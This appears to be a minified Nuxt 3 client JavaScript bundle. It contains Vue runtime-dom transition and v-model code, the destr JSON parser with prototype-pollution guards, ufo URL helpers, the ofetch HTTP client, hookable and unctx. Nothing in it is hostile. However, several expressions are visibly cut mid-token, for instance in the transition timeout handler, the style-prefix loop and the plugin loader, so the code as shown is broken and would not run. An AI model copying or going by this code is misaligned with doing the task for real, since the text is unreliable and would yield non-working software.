Ee(t,{onBeforeEnter(T){qt(P,[T]),St(T,s),St(T,i)},onBeforeAppear(T){qt(C,[T]),St(T,l),St(T,u)},onEnter:V(!1),onAppear:V(!0),onLeave(T,z){T._isLeaving=!0;const oe=()=>L(T,z);St(T,f),St(T,d),Id(),Ji(()=>{T._isLeaving&&(Vt(T,f),St(T,h),Gi(v)||Qi(T,r,A,oe))}),qt(v,[T,oe])},onEnterCancelled(T){I(T,!1),qt(m,[T])},onAppearCancelled(T){I(T,!0),qt(S,[T])},onLeaveCancelled(T){L(T),qt(_,[T])}})}function Ad(e){if(e==null)return null;if(fe(e))return[Mo(e.enter),Mo(e.leave)];{const t=Mo(e);return[t,t]}}function Mo(e){return nl(e)}function St(e,t){t.split(/\s+/).forEach(n=>n&&e.classList.add(n)),(e[tr]||(e[tr]=new Set)).add(t)}function Vt(e,t){t.split(/\s+/).forEach(r=>r&&e.classList.remove(r));const n=e[tr];n&&(n.delete(t),n.size||(e[tr]=void 0))}function Ji(e){requestAnimationFrame(()=>{requestAnimationFrame(e)})}let Pd=0;function Qi(e,t,n,r){const o=e._endId=++Pd,s=()=>{o===e._endId&&r()};if(n)return setTimeout(s,n);const{type:i,timeout:a,propCount:l}=kd(e,t);if(!i)return r();const u=i+"end";let c=0;const f=()=>{e.removeEventListener(u,d),s()},d=h=>{h.target===e&&++c>=l&&f()};setTimeout(()=>{c(n[b]||"").split(", "),o=r(`${Ct}Delay`),s=r(`${Ct}Duration`),i=Xi(o,s),a=r(`${Nn}Delay`),l=r(`${Nn}Duration`),u=Xi(a,l);let c=null,f=0,d=0;t===Ct?i>0&&(c=Ct,f=i,d=s.length):t===Nn?u>0&&(c=Nn,f=u,d=l.length):(f=Math.max(i,u),c=f>0?i>u?Ct:Nn:null,d=c?c===Ct?s.length:l.length:0);const h=c===Ct&&/\b(transform|all)(,|$)/.test(r(`${Ct}Property`).toString());return{type:c,timeout:f,propCount:d,hasTransform:h}}function Xi(e,t){for(;e.lengthYi(n)+Yi(e[r])))}function Yi(e){return e==="auto"?0:Number(e.slice(0,-1).replace(",","."))*1e3}function Id(){return document.body.offsetHeight}function Od(e,t,n){const r=e[tr];r&&(t=(t?[t,...r]:[...r]).join(" ")),t==null?e.removeAttribute("class"):n?e.setAttribute("class",t):e.className=t}const Zi=Symbol("_vod"),Ld=Symbol("_vsh"),_c=Symbol("");function Fb(e){const t=nn();if(!t)return;const n=t.ut=(o=e(t.proxy))=>{Array.from(document.querySelectorAll(`[data-v-owner="${t.uid}"]`)).forEach(s=>ls(s,o))},r=()=>{const o=e(t.proxy);as(t.subTree,o),n(o)};On(()=>{Nf(r);const o=new MutationObserver(r);o.observe(t.subTree.el.parentNode,{childList:!0}),ur(()=>o.disconnect())})}function as(e,t){if(e.shapeFlag&128){const n=e.suspense;e=n.activeBranch,n.pendingBranch&&!n.isHydrating&&n.effects.push(()=>{as(n.activeBranch,t)})}for(;e.component;)e=e.component.subTree;if(e.shapeFlag&1&&e.el)ls(e.el,t);else if(e.type===Oe)e.children.forEach(n=>as(n,t));else if(e.type===vn){let{el:n,anchor:r}=e;for(;n&&(ls(n,t),n!==r);)n=n.nextSibling}}function ls(e,t){if(e.nodeType===1){const n=e.style;let r="";for(const o in t)n.setProperty(`--${o}`,t[o]),r+=`--${o}: ${t[o]};`;n[_c]=r}}const Md=/(^|;)\s*display\s*:/;function Nd(e,t,n){const r=e.style,o=be(n);let s=!1;if(n&&!o){if(t)if(be(t))for(const i of t.split(";")){const a=i.slice(0,i.indexOf(":")).trim();n[a]==null&&kr(r,a,"")}else for(const i in t)n[i]==null&&kr(r,i,"");for(const i in n)i==="display"&&(s=!0),kr(r,i,n[i])}else if(o){if(t!==n){const i=r[_c];i&&(n+=";"+i),r.cssText=n,s=Md.test(n)}}else t&&e.removeAttribute("style");Zi in e&&(e[Zi]=s?r.display:"",e[Ld]&&(r.display="none"))}const ea=/\s*!important$/;function kr(e,t,n){if(K(n))n.forEach(r=>kr(e,t,r));else if(n==null&&(n=""),t.startsWith("--"))e.setProperty(t,n);else{const r=$d(e,t);ea.test(n)?e.setProperty(kn(r),n.replace(ea,""),"important"):e[r]=n}}const ta=["Webkit","Moz","ms"],No={};function $d(e,t){const n=No[t];if(n)return n;let r=lt(t);if(r!=="filter"&&r in e)return No[t]=r;r=ro(r);for(let o=0;o$o||(Dd.then(()=>$o=0),$o=Date.now());function Vd(e,t){const n=r=>{if(!r._vts)r._vts=Date.now();else if(r._vts<=n.attached)return;Xe(Wd(r,n.value),t,5,[r])};return n.value=e,n.attached=qd(),n}function Wd(e,t){if(K(t)){const n=e.stopImmediatePropagation;return e.stopImmediatePropagation=()=>{n.call(e),e._stopped=!0},t.map(r=>o=>!o._stopped&&r&&r(o))}else return t}const sa=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&e.charCodeAt(2)>96&&e.charCodeAt(2)<123,Kd=(e,t,n,r,o,s,i,a,l)=>{const u=o==="svg";t==="class"?Od(e,r,u):t==="style"?Nd(e,n,r):ar(t)?Hs(t)||Bd(e,t,n,r,i):(t[0]==="."?(t=t.slice(1),!0):t[0]==="^"?(t=t.slice(1),!1):zd(e,t,r,u))?jd(e,t,r,s,i,a,l):(t==="true-value"?e._trueValue=r:t==="false-value"&&(e._falseValue=r),Hd(e,t,r,u))};function zd(e,t,n,r){if(r)return!!(t==="innerHTML"||t==="textContent"||t in e&&sa(t)&&Q(n));if(t==="spellcheck"||t==="draggable"||t==="translate"||t==="form"||t==="list"&&e.tagName==="INPUT"||t==="type"&&e.tagName==="TEXTAREA")return!1;if(t==="width"||t==="height"){const o=e.tagName;if(o==="IMG"||o==="VIDEO"||o==="CANVAS"||o==="SOURCE")return!1}return sa(t)&&be(n)?!1:t in e}const zr=e=>{const t=e.props["onUpdate:modelValue"]||!1;return K(t)?n=>hn(t,n):t};function Gd(e){e.target.composing=!0}function ia(e){const t=e.target;t.composing&&(t.composing=!1,t.dispatchEvent(new Event("input")))}const _n=Symbol("_assign"),Bb={created(e,{modifiers:{lazy:t,trim:n,number:r}},o){e[_n]=zr(o);const s=r||o.props&&o.props.type==="number";zt(e,t?"change":"input",i=>{if(i.target.composing)return;let a=e.value;n&&(a=a.trim()),s&&(a=Wo(a)),e[_n](a)}),n&&zt(e,"change",()=>{e.value=e.value.trim()}),t||(zt(e,"compositionstart",Gd),zt(e,"compositionend",ia),zt(e,"change",ia))},mounted(e,{value:t}){e.value=t??""},beforeUpdate(e,{value:t,modifiers:{lazy:n,trim:r,number:o}},s){if(e[_n]=zr(s),e.composing)return;const i=(o||e.type==="number")&&!/^0\d/.test(e.value)?Wo(e.value):e.value,a=t??"";i!==a&&(document.activeElement===e&&e.type!=="range"&&(n||r&&e.value.trim()===a)||(e.value=a))}},Ub={deep:!0,created(e,t,n){e[_n]=zr(n),zt(e,"change",()=>{const r=e._modelValue,o=Jd(e),s=e.checked,i=e[_n];if(K(r)){const a=sl(r,o),l=a!==-1;if(s&&!l)i(r.concat(o));else if(!s&&l){const u=[...r];u.splice(a,1),i(u)}}else if(to(r)){const a=new Set(r);s?a.add(o):a.delete(o),i(a)}else i(wc(e,s))})},mounted:aa,beforeUpdate(e,t,n){e[_n]=zr(n),aa(e,t,n)}};function aa(e,{value:t,oldValue:n},r){e._modelValue=t,K(t)?e.checked=sl(t,r.props.value)>-1:to(t)?e.checked=t.has(r.props.value):t!==n&&(e.checked=io(t,wc(e,!0)))}function Jd(e){return"_value"in e?e._value:e.value}function wc(e,t){const n=t?"_trueValue":"_falseValue";return n in e?e[n]:t}const Ec=Ee({patchProp:Kd},Td);let Wn,la=!1;function Qd(){return Wn||(Wn=fd(Ec))}function Xd(){return Wn=la?Wn:dd(Ec),la=!0,Wn}const Cc=(...e)=>{const t=Qd().createApp(...e),{mount:n}=t;return t.mount=r=>{const o=xc(r);if(!o)return;const s=t._component;!Q(s)&&!s.render&&!s.template&&(s.template=o.innerHTML),o.innerHTML="";const i=n(o,!1,Sc(o));return o instanceof Element&&(o.removeAttribute("v-cloak"),o.setAttribute("data-v-app","")),i},t},Yd=(...e)=>{const t=Xd().createApp(...e),{mount:n}=t;return t.mount=r=>{const o=xc(r);if(o)return n(o,!0,Sc(o))},t};function Sc(e){if(e instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&e instanceof MathMLElement)return"mathml"}function xc(e){return be(e)?document.querySelector(e):e}const Zd=/"(?:_|\\u0{2}5[Ff]){2}(?:p|\\u0{2}70)(?:r|\\u0{2}72)(?:o|\\u0{2}6[Ff])(?:t|\\u0{2}74)(?:o|\\u0{2}6[Ff])(?:_|\\u0{2}5[Ff]){2}"\s*:/,ep=/"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/,tp=/^\s*["[{]|^\s*-?\d{1,16}(\.\d{1,17})?([Ee][+-]?\d+)?\s*$/;function np(e,t){if(e==="__proto__"||e==="constructor"&&t&&typeof t=="object"&&"prototype"in t){rp(e);return}return t}function rp(e){console.warn(`[destr] Dropping "${e}" key to prevent prototype pollution.`)}function Gr(e,t={}){if(typeof e!="string")return e;const n=e.trim();if(e[0]==='"'&&e.endsWith('"')&&!e.includes("\\"))return n.slice(1,-1);if(n.length<=9){const r=n.toLowerCase();if(r==="true")return!0;if(r==="false")return!1;if(r==="undefined")return;if(r==="null")return null;if(r==="nan")return Number.NaN;if(r==="infinity")return Number.POSITIVE_INFINITY;if(r==="-infinity")return Number.NEGATIVE_INFINITY}if(!tp.test(e)){if(t.strict)throw new SyntaxError("[destr] Invalid JSON");return e}try{if(Zd.test(e)||ep.test(e)){if(t.strict)throw new Error("[destr] Possible prototype pollution");return JSON.parse(e,np)}return JSON.parse(e)}catch(r){if(t.strict)throw r;return e}}const op=/#/g,sp=/&/g,ip=/\//g,ap=/=/g,oi=/\+/g,lp=/%5e/gi,cp=/%60/gi,up=/%7c/gi,fp=/%20/gi;function dp(e){return encodeURI(""+e).replace(up,"|")}function cs(e){return dp(typeof e=="string"?e:JSON.stringify(e)).replace(oi,"%2B").replace(fp,"+").replace(op,"%23").replace(sp,"%26").replace(cp,"`").replace(lp,"^").replace(ip,"%2F")}function Ho(e){return cs(e).replace(ap,"%3D")}function Jr(e=""){try{return decodeURIComponent(""+e)}catch{return""+e}}function pp(e){return Jr(e.replace(oi," "))}function hp(e){return Jr(e.replace(oi," "))}function gp(e=""){const t={};e[0]==="?"&&(e=e.slice(1));for(const n of e.split("&")){const r=n.match(/([^=]+)=?(.*)/)||[];if(r.length<2)continue;const o=pp(r[1]);if(o==="__proto__"||o==="constructor")continue;const s=hp(r[2]||"");t[o]===void 0?t[o]=s:Array.isArray(t[o])?t[o].push(s):t[o]=[t[o],s]}return t}function mp(e,t){return(typeof t=="number"||typeof t=="boolean")&&(t=String(t)),t?Array.isArray(t)?t.map(n=>`${Ho(e)}=${cs(n)}`).join("&"):`${Ho(e)}=${cs(t)}`:Ho(e)}function yp(e){return Object.keys(e).filter(t=>e[t]!==void 0).map(t=>mp(t,e[t])).filter(Boolean).join("&")}const bp=/^[\s\w\0+.-]{2,}:([/\\]{1,2})/,vp=/^[\s\w\0+.-]{2,}:([/\\]{2})?/,_p=/^([/\\]\s*){2,}[^/\\]/,wp=/^[\s\0]*(blob|data|javascript|vbscript):$/i,Ep=/\/$|\/\?|\/#/,Cp=/^\.?\//;function rn(e,t={}){return typeof t=="boolean"&&(t={acceptRelative:t}),t.strict?bp.test(e):vp.test(e)||(t.acceptRelative?_p.test(e):!1)}function Sp(e){return!!e&&wp.test(e)}function us(e="",t){return t?Ep.test(e):e.endsWith("/")}function si(e="",t){if(!t)return(us(e)?e.slice(0,-1):e)||"/";if(!us(e,!0))return e||"/";let n=e,r="";const o=e.indexOf("#");o>=0&&(n=e.slice(0,o),r=e.slice(o));const[s,...i]=n.split("?");return((s.endsWith("/")?s.slice(0,-1):s)||"/")+(i.length>0?`?${i.join("?")}`:"")+r}function fs(e="",t){if(!t)return e.endsWith("/")?e:e+"/";if(us(e,!0))return e||"/";let n=e,r="";const o=e.indexOf("#");if(o>=0&&(n=e.slice(0,o),r=e.slice(o),!n))return r;const[s,...i]=n.split("?");return s+"/"+(i.length>0?`?${i.join("?")}`:"")+r}function xp(e=""){return e.startsWith("/")}function ca(e=""){return xp(e)?e:"/"+e}function Tp(e,t){if(Rc(t)||rn(e))return e;const n=si(t);return e.startsWith(n)?e:ii(n,e)}function ua(e,t){if(Rc(t))return e;const n=si(t);if(!e.startsWith(n))return e;const r=e.slice(n.length);return r[0]==="/"?r:"/"+r}function Tc(e,t){const n=mo(e),r={...gp(n.search),...t};return n.search=yp(r),Pp(n)}function Rc(e){return!e||e==="/"}function Rp(e){return e&&e!=="/"}function ii(e,...t){let n=e||"";for(const r of t.filter(o=>Rp(o)))if(n){const o=r.replace(Cp,"");n=fs(n)+o}else n=r;return n}function Ac(...e){var i,a,l,u;const t=/\/(?!\/)/,n=e.filter(Boolean),r=[];let o=0;for(const c of n)if(!(!c||c==="/")){for(const[f,d]of c.split(t).entries())if(!(!d||d===".")){if(d===".."){if(r.length===1&&rn(r[0]))continue;r.pop(),o--;continue}if(f===1&&((i=r[r.length-1])!=null&&i.endsWith(":/"))){r[r.length-1]+="/"+d;continue}r.push(d),o++}}let s=r.join("/");return o>=0?(a=n[0])!=null&&a.startsWith("/")&&!s.startsWith("/")?s="/"+s:(l=n[0])!=null&&l.startsWith("./")&&!s.startsWith("./")&&(s="./"+s):s="../".repeat(-1*o)+s,(u=n[n.length-1])!=null&&u.endsWith("/")&&!s.endsWith("/")&&(s+="/"),s}function Ap(e,t,n={}){return n.trailingSlash||(e=fs(e),t=fs(t)),n.leadingSlash||(e=ca(e),t=ca(t)),n.encoding||(e=Jr(e),t=Jr(t)),e===t}const Pc=Symbol.for("ufo:protocolRelative");function mo(e="",t){const n=e.match(/^[\s\0]*(blob:|data:|javascript:|vbscript:)(.*)/i);if(n){const[,f,d=""]=n;return{protocol:f.toLowerCase(),pathname:d,href:f+d,auth:"",host:"",search:"",hash:""}}if(!rn(e,{acceptRelative:!0}))return t?mo(t+e):fa(e);const[,r="",o,s=""]=e.replace(/\\/g,"/").match(/^[\s\0]*([\w+.-]{2,}:)?\/\/([^/@]+@)?(.*)/)||[],[,i="",a=""]=s.match(/([^#/?]*)(.*)?/)||[],{pathname:l,search:u,hash:c}=fa(a.replace(/\/(?=[A-Za-z]:)/,""));return{protocol:r.toLowerCase(),auth:o?o.slice(0,Math.max(0,o.length-1)):"",host:i,pathname:l,search:u,hash:c,[Pc]:!r}}function fa(e=""){const[t="",n="",r=""]=(e.match(/([^#?]*)(\?[^#]*)?(#.*)?/)||[]).splice(1);return{pathname:t,search:n,hash:r}}function Pp(e){const t=e.pathname||"",n=e.search?(e.search.startsWith("?")?"":"?")+e.search:"",r=e.hash||"",o=e.auth?e.auth+"@":"",s=e.host||"";return(e.protocol||e[Pc]?(e.protocol||"")+"//":"")+o+s+t+n+r}class kp extends Error{constructor(t,n){super(t,n),this.name="FetchError",n!=null&&n.cause&&!this.cause&&(this.cause=n.cause)}}function Ip(e){var l,u,c,f,d;const t=((l=e.error)==null?void 0:l.message)||((u=e.error)==null?void 0:u.toString())||"",n=((c=e.request)==null?void 0:c.method)||((f=e.options)==null?void 0:f.method)||"GET",r=((d=e.request)==null?void 0:d.url)||String(e.request)||"/",o=`[${n}] ${JSON.stringify(r)}`,s=e.response?`${e.response.status} ${e.response.statusText}`:"",i=`${o}: ${s}${t?` ${t}`:""}`,a=new kp(i,e.error?{cause:e.error}:void 0);for(const h of["request","options","response"])Object.defineProperty(a,h,{get(){return e[h]}});for(const[h,b]of[["data","_data"],["status","status"],["statusCode","status"],["statusText","statusText"],["statusMessage","statusText"]])Object.defineProperty(a,h,{get(){return e.response&&e.response[b]}});return a}const Op=new Set(Object.freeze(["PATCH","POST","PUT","DELETE"]));function da(e="GET"){return Op.has(e.toUpperCase())}function Lp(e){if(e===void 0)return!1;const t=typeof e;return t==="string"||t==="number"||t==="boolean"||t===null?!0:t!=="object"?!1:Array.isArray(e)?!0:e.buffer?!1:e.constructor&&e.constructor.name==="Object"||typeof e.toJSON=="function"}const Mp=new Set(["image/svg","application/xml","application/xhtml","application/html"]),Np=/^application\/(?:[\w!#$%&*.^`~-]*\+)?json(;.+)?$/i;function $p(e=""){if(!e)return"json";const t=e.split(";").shift()||"";return Np.test(t)?"json":Mp.has(t)||t.startsWith("text/")?"text":"blob"}function Hp(e,t,n=globalThis.Headers){const r={...t,...e};if(t!=null&&t.params&&(e!=null&&e.params)&&(r.params={...t==null?void 0:t.params,...e==null?void 0:e.params}),t!=null&&t.query&&(e!=null&&e.query)&&(r.query={...t==null?void 0:t.query,...e==null?void 0:e.query}),t!=null&&t.headers&&(e!=null&&e.headers)){r.headers=new n((t==null?void 0:t.headers)||{});for(const[o,s]of new n((e==null?void 0:e.headers)||{}))r.headers.set(o,s)}return r}const jp=new Set([408,409,425,429,500,502,503,504]),Fp=new Set([101,204,205,304]);function kc(e={}){const{fetch:t=globalThis.fetch,Headers:n=globalThis.Headers,AbortController:r=globalThis.AbortController}=e;async function o(a){const l=a.error&&a.error.name==="AbortError"&&!a.options.timeout||!1;if(a.options.retry!==!1&&!l){let c;typeof a.options.retry=="number"?c=a.options.retry:c=da(a.options.method)?0:1;const f=a.response&&a.response.status||500;if(c>0&&(Array.isArray(a.options.retryStatusCodes)?a.options.retryStatusCodes.includes(f):jp.has(f))){const d=a.options.retryDelay||0;return d>0&&await new Promise(h=>setTimeout(h,d)),s(a.request,{...a.options,retry:c-1})}}const u=Ip(a);throw Error.captureStackTrace&&Error.captureStackTrace(u,s),u}const s=async function(l,u={}){var h;const c={request:l,options:Hp(u,e.defaults,n),response:void 0,error:void 0};c.options.method=(h=c.options.method)==null?void 0:h.toUpperCase(),c.options.onRequest&&await c.options.onRequest(c),typeof c.request=="string"&&(c.options.baseURL&&(c.request=Tp(c.request,c.options.baseURL)),(c.options.query||c.options.params)&&(c.request=Tc(c.request,{...c.options.params,...c.options.query}))),c.options.body&&da(c.options.method)&&(Lp(c.options.body)?(c.options.body=typeof c.options.body=="string"?c.options.body:JSON.stringify(c.options.body),c.options.headers=new n(c.options.headers||{}),c.options.headers.has("content-type")||c.options.headers.set("content-type","application/json"),c.options.headers.has("accept")||c.options.headers.set("accept","application/json")):("pipeTo"in c.options.body&&typeof c.options.body.pipeTo=="function"||typeof c.options.body.pipe=="function")&&("duplex"in c.options||(c.options.duplex="half")));let f;if(!c.options.signal&&c.options.timeout){const b=new r;f=setTimeout(()=>b.abort(),c.options.timeout),c.options.signal=b.signal}try{c.response=await t(c.request,c.options)}catch(b){return c.error=b,c.options.onRequestError&&await c.options.onRequestError(c),await o(c)}finally{f&&clearTimeout(f)}if(c.response.body&&!Fp.has(c.response.status)&&c.options.method!=="HEAD"){const b=(c.options.parseResponse?"json":c.options.responseType)||$p(c.response.headers.get("content-type")||"");switch(b){case"json":{const E=await c.response.text(),A=c.options.parseResponse||Gr;c.response._data=A(E);break}case"stream":{c.response._data=c.response.body;break}default:c.response._data=await c.response[b]()}}return c.options.onResponse&&await c.options.onResponse(c),!c.options.ignoreResponseError&&c.response.status>=400&&c.response.status<600?(c.options.onResponseError&&await c.options.onResponseError(c),await o(c)):c.response},i=async function(l,u){return(await s(l,u))._data};return i.raw=s,i.native=(...a)=>t(...a),i.create=(a={})=>kc({...e,defaults:{...e.defaults,...a}}),i}const ai=function(){if(typeof globalThis<"u")return globalThis;if(typeof self<"u")return self;if(typeof window<"u")return window;if(typeof global<"u")return global;throw new Error("unable to locate global object")}(),Bp=ai.fetch||(()=>Promise.reject(new Error("[ofetch] global.fetch is not supported!"))),Up=ai.Headers,Dp=ai.AbortController,qp=kc({fetch:Bp,Headers:Up,AbortController:Dp}),Vp=qp,Wp=()=>{var e;return((e=window==null?void 0:window.__NUXT__)==null?void 0:e.config)||{}},Qr=Wp().app,Kp=()=>Qr.baseURL,zp=()=>Qr.buildAssetsDir,li=(...e)=>Ac(Ic(),zp(),...e),Ic=(...e)=>{const t=Qr.cdnURL||Qr.baseURL;return e.length?Ac(t,...e):t};globalThis.__buildAssetsURL=li,globalThis.__publicAssetsURL=Ic;globalThis.$fetch||(globalThis.$fetch=Vp.create({baseURL:Kp()}));function ds(e,t={},n){for(const r in e){const o=e[r],s=n?`${n}:${r}`:r;typeof o=="object"&&o!==null?ds(o,t,s):typeof o=="function"&&(t[s]=o)}return t}const Gp={run:e=>e()},Jp=()=>Gp,Oc=typeof console.createTask<"u"?console.createTask:Jp;function Qp(e,t){const n=t.shift(),r=Oc(n);return e.reduce((o,s)=>o.then(()=>r.run(()=>s(...t))),Promise.resolve())}function Xp(e,t){const n=t.shift(),r=Oc(n);return Promise.all(e.map(o=>r.run(()=>o(...t))))}function jo(e,t){for(const n of[...e])n(t)}class Yp{constructor(){this._hooks={},this._before=void 0,this._after=void 0,this._deprecatedMessages=void 0,this._deprecatedHooks={},this.hook=this.hook.bind(this),this.callHook=this.callHook.bind(this),this.callHookWith=this.callHookWith.bind(this)}hook(t,n,r={}){if(!t||typeof n!="function")return()=>{};const o=t;let s;for(;this._deprecatedHooks[t];)s=this._deprecatedHooks[t],t=s.to;if(s&&!r.allowDeprecated){let i=s.message;i||(i=`${o} hook has been deprecated`+(s.to?`, please use ${s.to}`:"")),this._deprecatedMessages||(this._deprecatedMessages=new Set),this._deprecatedMessages.has(i)||(console.warn(i),this._deprecatedMessages.add(i))}if(!n.name)try{Object.defineProperty(n,"name",{get:()=>"_"+t.replace(/\W+/g,"_")+"_hook_cb",configurable:!0})}catch{}return this._hooks[t]=this._hooks[t]||[],this._hooks[t].push(n),()=>{n&&(this.removeHook(t,n),n=void 0)}}hookOnce(t,n){let r,o=(...s)=>(typeof r=="function"&&r(),r=void 0,o=void 0,n(...s));return r=this.hook(t,o),r}removeHook(t,n){if(this._hooks[t]){const r=this._hooks[t].indexOf(n);r!==-1&&this._hooks[t].splice(r,1),this._hooks[t].length===0&&delete this._hooks[t]}}deprecateHook(t,n){this._deprecatedHooks[t]=typeof n=="string"?{to:n}:n;const r=this._hooks[t]||[];delete this._hooks[t];for(const o of r)this.hook(t,o)}deprecateHooks(t){Object.assign(this._deprecatedHooks,t);for(const n in t)this.deprecateHook(n,t[n])}addHooks(t){const n=ds(t),r=Object.keys(n).map(o=>this.hook(o,n[o]));return()=>{for(const o of r.splice(0,r.length))o()}}removeHooks(t){const n=ds(t);for(const r in n)this.removeHook(r,n[r])}removeAllHooks(){for(const t in this._hooks)delete this._hooks[t]}callHook(t,...n){return n.unshift(t),this.callHookWith(Qp,t,...n)}callHookParallel(t,...n){return n.unshift(t),this.callHookWith(Xp,t,...n)}callHookWith(t,n,...r){const o=this._before||this._after?{name:n,args:r,context:{}}:void 0;this._before&&jo(this._before,o);const s=t(n in this._hooks?[...this._hooks[n]]:[],r);return s instanceof Promise?s.finally(()=>{this._after&&o&&jo(this._after,o)}):(this._after&&o&&jo(this._after,o),s)}beforeEach(t){return this._before=this._before||[],this._before.push(t),()=>{if(this._before!==void 0){const n=this._before.indexOf(t);n!==-1&&this._before.splice(n,1)}}}afterEach(t){return this._after=this._after||[],this._after.push(t),()=>{if(this._after!==void 0){const n=this._after.indexOf(t);n!==-1&&this._after.splice(n,1)}}}}function Lc(){return new Yp}function Zp(e={}){let t,n=!1;const r=i=>{if(t&&t!==i)throw new Error("Context conflict")};let o;if(e.asyncContext){const i=e.AsyncLocalStorage||globalThis.AsyncLocalStorage;i?o=new i:console.warn("[unctx] `AsyncLocalStorage` is not provided.")}const s=()=>{if(o&&t===void 0){const i=o.getStore();if(i!==void 0)return i}return t};return{use:()=>{const i=s();if(i===void 0)throw new Error("Context is not available");return i},tryUse:()=>s(),set:(i,a)=>{a||r(i),t=i,n=!0},unset:()=>{t=void 0,n=!1},call:(i,a)=>{r(i),t=i;try{return o?o.run(i,a):a()}finally{n||(t=void 0)}},async callAsync(i,a){t=i;const l=()=>{t=i},u=()=>t===i?l:void 0;ps.add(u);try{const c=o?o.run(i,a):a();return n||(t=void 0),await c}finally{ps.delete(u)}}}}function eh(e={}){const t={};return{get(n,r={}){return t[n]||(t[n]=Zp({...e,...r})),t[n],t[n]}}}const Xr=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof global<"u"?global:typeof window<"u"?window:{},pa="__unctx__",th=Xr[pa]||(Xr[pa]=eh()),nh=(e,t={})=>th.get(e,t),ha="__unctx_async_handlers__",ps=Xr[ha]||(Xr[ha]=new Set);function nr(e){const t=[];for(const o of ps){const s=o();s&&t.push(s)}const n=()=>{for(const o of t)o()};let r=e();return r&&typeof r=="object"&&"catch"in r&&(r=r.catch(o=>{throw n(),o})),[r,n]}const Mc=nh("nuxt-app",{asyncContext:!1}),rh="__nuxt_plugin";function oh(e){let t=0;const n={_scope:Us(),provide:void 0,globalName:"nuxt",versions:{get nuxt(){return"3.11.2"},get vue(){return n.vueApp.version}},payload:Ne({data:{},state:{},once:new Set,_errors:{},...window.__NUXT__??{}}),static:{data:{}},runWithContext:o=>n._scope.run(()=>ah(n,o)),isHydrating:!0,deferHydration(){if(!n.isHydrating)return()=>{};t++;let o=!1;return()=>{if(!o&&(o=!0,t--,t===0))return n.isHydrating=!1,n.callHook("app:suspense:resolve")}},_asyncDataPromises:{},_asyncData:{},_payloadRevivers:{},...e};n.hooks=Lc(),n.hook=n.hooks.hook,n.callHook=n.hooks.callHook,n.provide=(o,s)=>{const i="$"+o;Sr(n,i,s),Sr(n.vueApp.config.globalProperties,i,s)},Sr(n.vueApp,"$nuxt",n),Sr(n.vueApp.config.globalProperties,"$nuxt",n);{window.addEventListener("nuxt.preloadError",s=>{n.callHook("app:chunkError",{error:s.payload})}),window.useNuxtApp=window.useNuxtApp||ve;const o=n.hook("app:error",(...s)=>{console.error("[nuxt] error caught during app initialization",...s)});n.hook("app:mounted",o)}const r=n.payload.config;return n.provide("config",r),n}async function sh(e,t){if(t.hooks&&e.hooks.addHooks(t.hooks),typeof t=="function"){const{provide:n}=await e.runWithContext(()=>t(e))||{};if(n&&typeof n=="object")for(const r in n)e.provide(r,n[r])}}async function ih(e,t){const n=[],r=[],o=[],s=[];let i=0;async function a(l){var c;const u=((c=l.dependsOn)==null?void 0:c.filter(f=>t.some(d=>d._name===f)&&!n.includes(f)))??[];if(u.length>0)r.push([new Set(u),l]);else{const f=sh(e,l).then(async()=>{l._name&&(n.push(l._name),await Promise.all(r.map(async([d,h])=>{d.has(l._name)&&(d.delete(l._name),d.size===0&&(i++,await a(h)))})))});l.parallel?o.push(f.catch(d=>s.push(d))):await f}}for(const l of t)await a(l);if(await Promise.all(o),i)for(let l=0;l{}),e,{[rh]:!0,_name:t})}function ah(e,t,n){const r=()=>t();return Mc.set(e),e.vueApp.runWithContext(r)}function lh(){var t;let e;return ei()&&(e=(t=nn())==null?void 0:t.appContext.app.$nuxt),e=e||Mc.tryUse(),e||null}function ve(){const e=lh();if(!e)throw new Error("[nuxt] instance unavailable");return e}function ci(e){return ve().$config}function Sr(e,t,n){Object.defineProperty(e,t,{get:()=>n})}function ch(e,t){return{ctx:{table:e},matchAll:n=>$c(n,e)}}function Nc(e){const t={};for(const n in e)t[n]=n==="dynamic"?new Map(Object.entries(e[n]).map(([r,o])=>[r,Nc(o)])):new Map(Object.entries(e[n]));return t}function uh(e){return ch(Nc(e))}function $c(e,t,n){e.endsWith("/")&&(e=e.slice(0,-1)||"/");const r=[];for(const[s,i]of ga(t.wildcard))(e===s||e.startsWith(s+"/"))&&r.push(i);for(const[s,i]of ga(t.dynamic))if(e.startsWith(s+"/")){const a="/"+e.slice(s.length).split("/").splice(2).join("/");r.push(...$c(a,i))}const o=t.static.get(e);return o&&r.push(o),r.filter(Boolean)}function ga(e){return[...e.entries()].sort((t,n)=>t[0].length-n[0].length)}function Fo(e){if(e===null||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);return t!==null&&t!==Object.prototype&&Object.getPrototypeOf(t)!==null||Symbol.iterator in e?!1:Symbol.toStringTag in e?Object.prototype.toString.call(e)==="[object Module]":!0}function hs(e,t,n=".",r){if(!Fo(t))return hs(e,{},n,r);const o=Object.assign({},t);for(const s in e){if(s==="__proto__"||s==="constructor")continue;const i=e[s];i!=null&&(r&&r(o,s,i,n)||(Array.isArray(i)&&Array.isArray(o[s])?o[s]=[...i,...o[s]]:Fo(i)&&Fo(o[s])?o[s]=hs(i,o[s],(n?`${n}.`:"")+s.toString(),r):o[s]=i))}return o}function ui(e){return(...t)=>t.reduce((n,r)=>hs(n,r,"",e),{})}const fi=ui(),fh=ui((e,t,n)=>{if(e[t]!==void 0&&typeof n=="function")return e[t]=n(e[t]),!0});function dh(e,t){try{return t in e}catch{return!1}}var ph=Object.defineProperty,hh=(e,t,n)=>t in e?ph(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Wt=(e,t,n)=>(hh(e,typeof t!="symbol"?t+"":t,n),n);class gs extends Error{constructor(t,n={}){super(t,n),Wt(this,"statusCode",500),Wt(this,"fatal",!1),Wt(this,"unhandled",!1),Wt(this,"statusMessage"),Wt(this,"data"),Wt(this,"cause"),n.cause&&!this.cause&&(this.cause=n.cause)}toJSON(){const t={message:this.message,statusCode:ys(this.statusCode,500)};return this.statusMessage&&(t.statusMessage=Hc(this.statusMessage)),this.data!==void 0&&(t.data=this.data),t}}Wt(gs,"__h3_error__",!0);function ms(e){if(typeof e=="string")return new gs(e);if(gh(e))return e;const t=new 